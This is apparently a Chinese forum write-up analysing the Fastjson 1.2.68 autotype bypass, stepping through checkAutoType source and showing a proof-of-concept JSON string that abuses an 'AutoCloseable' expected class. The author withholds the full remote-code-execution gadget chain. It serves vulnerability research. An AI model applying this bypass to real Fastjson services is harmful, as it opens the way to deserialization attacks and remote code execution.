Fastjson 1.2.68 RCE分析

0x01 概述

从小道消息,传出了一个东西就是 Fastjson 又双叒叕出现 autotype bypass 的rce了,我听到这个消息傻了,原先以为是浅蓝师傅的这个《fastjson 1.2.68 最新版本有限制 autotype bypass》,然后有人找到了条利用链,但是又想想不对呀,没有人会在异常里面写jndi或者命令执行的方法,当然随着自己深入看,发现真的不是这么简单。

0x02 解析过程

我们都知道,在 fastjson 指定 @type 之后,整个解析过程是在 ParserConfig 完成,主要因为一个方法 checkAutoType ,这个方法里面会进行判断是否开启了 autotype 开关,然后进行相关判断,这里我们重新梳理一遍流程,下面这部分我把 checkAutoType 部分我认为重要的全部撸出来了,先分段看看。

image

第一段,如果传入的 expectClass 不为 null ,且不是 Object、Serializable、Cloneable、Closeable、EventListener、Collection 这些东西的情况下,就会将 expectClassFlag 设置为 true

if (expectClass == null) {
    expectClassFlag = false;
} else {
    if (expectClass == Object.class
            || expectClass == Serializable.class
            || expectClass == Cloneable.class
            || expectClass == Closeable.class
            || expectClass == EventListener.class
            || expectClass == Iterable.class
            || expectClass == Collection.class
            ) {
        expectClassFlag = false;
    } else {
        expectClassFlag = true;
    }
}

第二段,这里首先设置 internalWhite 标志位,然后判断是否在黑名单里面,如果不在继续往下走,判断(!internalWhite) && (autoTypeSupport || expectClassFlag)这个if逻辑,如果为true,如果在白名单中,就加入到缓存中。

long fullHash = TypeUtils.fnv1a_64(className);         //传入classname生成fullhash
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) >= 0;  //进入白名单查找
...
        if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {       //根据前面的逻辑进行查找这里的意思是internalWhite结果要为fasle,也就是传入的类是黑名单,且autotype开启或者期望类flag为true的情况下
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {        //查找白名单
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);    //正确加入缓存
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {//查找黑名单存在,且不在mapping缓存中。
                    if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {   //如果白名单存在则继续
                        continue;
                    }

                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

第三段,这里会针对 autotype 开关是否设置为 true 进行判断,这里先进行黑名单判断,再进行白名单判断,如果在白名单里面就把它加入到缓存 mapping 里,这个东西调试过1.2.47的应该很清楚,如果不清楚也别急,后面会细说为啥要加入到缓存 mapping ,当然这里如果有期望类的情况下,会进行判断是否满足期望类的继承关系。

        if (!autoTypeSupport) {       //autotype不开启
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;

                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {    //黑名单遍历
                    throw new JSONException("autoType is not support. " + typeName);
                }

                // white list
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {    //白名单遍历,加入mapping
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {    
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }

第四段:如果 autotype 开关打开或者使用了 JSONType 注解,又或者 expectClassFlagtrue 对的情况下,且只有在 autotype 开关打开或者使用了 JSONType 注解的情况下,才会将类加入到缓存 mapping 当中。

        if (autoTypeSupport || jsonType || expectClassFlag) {
            boolean cacheClass = autoTypeSupport || jsonType;
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
        }

第五段:如果使用了 JSONType 注解,将类加入到缓存 mapping 中。

            if (jsonType) {
                TypeUtils.addMapping(typeName, clazz);
                return clazz;
            }

第六段:如果期望类不为空,且继承关系符合,则也加入到缓存 mapping 中。

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    TypeUtils.addMapping(typeName, clazz);
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }

fastjson 在判断 autotype 的时候,会在这个缓存 mapping 里面先进行判断,也就是说在这个 mapping 里面的95个都是白名单,可以这么理解它,当然我都抠出来了。

[java.lang.IndexOutOfBoundsException
 java.lang.Integer
 java.lang.NoSuchFieldException
 java.lang.Long
 java.math.BigInteger
 java.lang.LinkageError
 java.lang.StringIndexOutOfBoundsException
 java.lang.StackOverflowError
 long
 java.lang.VerifyError
 java.util.LinkedHashMap
 java.util.Calendar
 java.lang.StackTraceElement
 [long
 java.lang.NoSuchMethodError
 java.util.concurrent.atomic.AtomicLong
 java.util.TreeMap
 java.util.Date
 java.lang.NoSuchFieldError
 java.util.concurrent.atomic.AtomicInteger
 java.lang.Short
 java.util.Locale
 java.lang.InstantiationException
 java.lang.SecurityException
 java.sql.Timestamp
 java.util.concurrent.ConcurrentHashMap
 java.util.UUID
 java.lang.IllegalAccessError
 com.alibaba.fastjson.JSONObject
 [short
 java.util.HashSet
 [byte
 java.lang.Boolean
 java.sql.Date
 short
 java.lang.Object
 java.util.BitSet
 [char
 java.lang.Float
 java.math.BigDecimal
 java.lang.Character
 java.lang.InternalError
 [double
 byte
 double
 java.lang.Exception
 java.lang.Double
 [B
 java.lang.TypeNotPresentException
 [C
 [D
 java.text.SimpleDateFormat
 [F
 [I
 java.util.TreeSet
 [J
 java.util.ArrayList
 java.lang.IllegalMonitorStateException
 com.alibaba.fastjson.JSONArray
 [S
 java.lang.String
 java.lang.Number
 java.util.LinkedHashSet
 [Z
 java.lang.NegativeArraySizeException
 java.lang.NumberFormatException
 java.lang.RuntimeException
 char
 java.lang.OutOfMemoryError
 java.lang.IllegalStateException
 java.sql.Time
 java.lang.NoSuchMethodException
 java.util.Collections$EmptyMap
 [boolean
 float
 java.lang.AutoCloseable
 java.lang.NullPointerException
 java.lang.Byte
 [int
 com.alibaba.fastjson.JSONPObject
 java.lang.Cloneable
 java.lang.IllegalAccessException
 java.util.IdentityHashMap
 java.util.HashMap
 java.lang.NoClassDefFoundError
 java.util.Hashtable
 java.util.WeakHashMap
 java.lang.IllegalThreadStateException
 java.lang.IllegalArgumentException
 int
 java.util.concurrent.TimeUnit
 boolean
 java.lang.InstantiationError
 java.lang.InterruptedException
 [float]

所以以下情况会过autotype校验:

  1. 白名单里的类
  2. 开启了 autotype
  3. 使用了 JSONType 注解
  4. 指定了期望类(expectClass)
  5. 缓存 mapping 中的类

0x03 调试过程

有一说一,这95个真的多,然后我又开始了漫长了筛选之旅,首先去掉一些 int异常类 等,因为我觉得这些可能性相对较低,当然去完之后还有39个,心态崩了,这时候再回去看看那代码,然后我发现相关类都有自己的反序列化构造器。

image

这里有能排除一大半了,再根据通告,不能过黑名单,也就是说会接受 checkautotype 检查,根据这个思路,直接寻找哪些反序列化器会有这个玩意,异常类的反序列化构造器直接被我排除了。

image

剩下就只是 JavaBeanDeserializer 了,因为 MapDeserializer 的期望类为 null ,估计可能性不大,做完排除法,剩下就只有两个了

java.lang.AutoCloseable
java.util.BitSet

就剩下两个面是真的少了很多了,慢慢看呗,优先思路是去找 java.lang.AutoCloseable ,继承关系的第三方jar,我找了一个

org.apache.commons.dbcp2.datasources.PerUserPoolDataSource

结果不知道是哪个小机灵鬼提供的修复建议,一个个字符计算hash来判断,导致这个gadget因为org.apache.commons.dbcp没了,到后面我又找了一个本地 loadclass ,还是完成鸡肋rce。

image

这时候再看修复,在 expectClassFlag 位置加了 java.lang.Runnable、java.lang.Readable、java.lang.AutoCloseable 这三个。

image

所以事实的真相应该没有这么简单,因为 java.lang.Runnable、java.lang.Readable 是无法直接 @type 的,所以进一步往下看,这里提到一个东西,可以看个 demo ,这个 demo 来自 @threedr3am 师傅。

class AAAA implements AutoCloseable {
    private BBBB rrr;

    public BBBB getRrr() {
        return rrr;
    }

    public void setRrr(BBBB rrr) {
        this.rrr = rrr;
    }

    @Override
    public void close() throws Exception {

    }
}

class BBBB implements Runnable {
    private String eval;
    public String getEval() {
        return eval;
    }
    public void setEval(String eval) {
        System.out.println(eval + " eval!");
        this.eval = eval;
    }

    @Override
    public void run() {

    }

通过下面代码执行之后可以不开启 autotype 的情况下调用成功。

    public static void main(String[] args) {
        String json = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.l1nk3r.fastjson.AAAA\", \"rrr\": {\"@type\": \"com.l1nk3r.fastjson.BBBB\", \"eval\": \"fastjson\"}}";
        JSON.parseObject(json);
    }

贼心不死的我继续,找找相关 gadget ,本着优先从 jdk 进行查找的原则我找了 javax.sql.rowset.JdbcRowSet ,这个类也是 extends autocloseable 的,他的实现类 com.sun.rowset.JdbcRowSetImpl 相信大家都不太陌生,很遗憾,这个类也GG了,我还找了一些类似的类,但是在 fastjonParserConfig 这里,有一段这样的代码,限制了他的一些父类的不能是 ClassLoaderDataSourceRowSet 所以在此自闭。

            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    || javax.sql.RowSet.class.isAssignableFrom(clazz) //
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

当然在最后还是找了一条链,成功搞定了这个洞,链的话暂时就不公开了,也是不很好用,存当作学习。

image

0x04 后话

这个洞应该还有很精彩的链条,期待学习各位师傅的链。利用

6 个赞

何时才能像师傅一样优秀

:laughing:像师傅致敬学习